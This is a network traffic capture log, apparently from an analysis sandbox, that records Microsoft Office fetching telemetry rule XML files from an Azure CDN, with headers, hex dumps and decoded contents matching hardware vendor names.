Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-16547b76f7fp46ndhC1DFW66zg0000000bm000000000rcm1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:34 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:34 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-16547b76f7fj5p7mhC1DFWf8w40000000brg00000000h5t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:34 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: a6359f23-d01e-0014-2f55-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210934Z-17df447cdb5vq4m4hC1DFWrbp800000007x000000000aurq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:35 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:35 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 6164f0e5-d01e-0082-285f-32e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210935Z-15869dbbcc6rmhmhhC1DFWr8y000000003n000000000hw8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:35 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210935Z-16547b76f7fdf69shC1DFWcpd00000000bk000000000eqvk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:35 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210935Z-16547b76f7f22sh5hC1DFWyb4w0000000bhg00000000gsz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:35 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210935Z-16547b76f7f9bs6dhC1DFWt3rg0000000bs0000000001ead x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: b6730b1d-501e-000a-0ada-2f0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210936Z-17df447cdb5g2j9ghC1DFWuyag000000028g0000000044ew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:36 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:36 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b539dd90-b01e-0098-7a7f-32cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210936Z-17df447cdb5qt2nfhC1DFWzhgw000000057000000000dqkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:37 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:36 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4f612581-301e-0052-6695-3165d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210936Z-15869dbbcc6rmhmhhC1DFWr8y000000003tg000000002u02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:37 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:37 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 8ab2e98c-901e-00ac-4962-32b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210937Z-17df447cdb5fh5hghC1DFWam04000000050000000000dq2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:37 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:37 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210937Z-16547b76f7fm7xw6hC1DFW5px40000000bgg00000000md8b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:37 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 